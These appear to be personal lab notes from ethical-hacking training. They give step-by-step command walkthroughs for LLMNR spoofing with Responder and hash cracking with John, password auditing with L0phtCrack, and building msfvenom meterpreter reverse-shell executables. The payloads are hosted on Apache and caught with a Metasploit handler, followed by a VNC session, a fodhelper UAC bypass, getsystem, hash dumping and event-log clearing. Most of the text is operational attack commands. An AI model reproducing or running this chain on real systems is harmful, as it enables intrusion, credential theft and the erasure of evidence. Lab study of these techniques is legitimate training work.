Systems hacking notes:

1. **LLMNR/NBT-NS Spoofing Attack**
   Requirement
   Windows 10 & Kali Linux

   From Kali Linux use the command:

   >. Responder -I eth0
   In windows 10 machine
   >. Right click Start Icon and choose "Run" then type \\ceh-tools and click ok
   Switch back to Kali machine, we can notice that "Responder is capturing hashes of the logged users on the windows machine.
   The log gets stored on Kali machine in /usr/share/responder/logs
   After finding the hashes we use "john" password crack to crack the hash. Using the command:

   >. John /usr/share/responder/logs/<name of the file>
   Then we get the password cracked.

2. **System Password Auditing using L0phtCrack**

   Requirement:
   Windows Server 2012/16

   Launch L0phtCrack and run as trail version
   Choose Target System type / we choose windows
   Choose remote machine
   Then populate the host field, choose specific user credentials, and insert username/password, domain CEH.com
   >. Choose Audit type, Strong Password Audit.
   >. Reporting options, Generate Report at End of Auditing, CSV, and choose Desktop to save the csv.
   >. Then choose to run this job immediately. Choose "no" for Perform Calibration. Yes, to Coping LC7 Agent.
   >. Finally, we wait until C0phtCrack to finish cracking the passwords.

3. **Client-Side Vulnerabilities and Establishing a VNC Session**

   Requirement

   Kali Linux, Windows 10

   >. In kali machine run command:

Msfvenom -p windows/meterpreter/reverse_tcp –platform windows -a x86 -f exe LHOST=(Attacker ip) LPORT=444 -o /root/Desktop/Test.exe

>. Create a folder in kali machine/ mkdir /var/www/html/share, chown -R 755 /var/www/html/share,

Chown -R www-data:www-data /var/www/html/share

>. Cp /root/Desktop/Test.ext /var/www/html/share

>. Service apache2 start

>. Msfconsole: run these command, respectively, use multi/handler, set payload windows/meterpreter/reverse_tcp, set LHOST <attacker ip>, set LPORT <attacker port number>, and finally run “exploit”.
>. On Windows machine reach out the kali server that host the malicious file, then download “Test.exe. and run the file.
>. Back to Kali machine we see a session is created.

>. Issue “sessions -i 1” to open the shell, sysinfo, then type “run vnc”.

4. **Escalating Priv. by Exploiting client Side Vulners.**
   Requirement
   Windows 8 & 10, Kali Linux

   Commands:

   >. In kali machine run command:

Msfvenom -p windows/meterpreter/reverse_tcp –platform windows -a x86 -e x86/shikata_ga_nai -b “\x00” LHOST=<attackerip> -f exe > Desktop/Exploit.exe

>. Create a folder in kali machine/ mkdir /var/www/html/share, chown -R 755 /var/www/html/share,

Chown -R www-data:www-data /var/www/html/share

>. Cp /root/Desktop/Exploit.exe /var/www/html/share

>. Service apache2 start

>. Msfconsole: run these commands, respectively, use exploit/handler, set payload windows/meterpreter/reverse_tcp, set LHOST <attacker ip>, set LPORT <attacker port number>, and finally run “exploit -j -z”.

>. On Windows machine reach out the kali server that host the malicious file, then download “Test.exe. and run the file.
>. Back to Kali machine we see a session is created.

>. Back to Kali machine we see a session is created.

>. Issue “sessions -i 1”, getuid, run post/windows/gather/smart_hashdump or clearev (both requires elevation), getsystem -t 1 (this will fail to escalate the privilege).

>. Use background command then, use exploit/windows/local/bypassuac_fodhelper, show options, set session 1, set payload windows/meterpreter/reverse_tcp, show option (fill all the information need, lhost, lport, set target 0), and run exploit at the end.

>. Getuid, getsystem -t 1, now run the command, run post/windows/gather/smart_hashdump.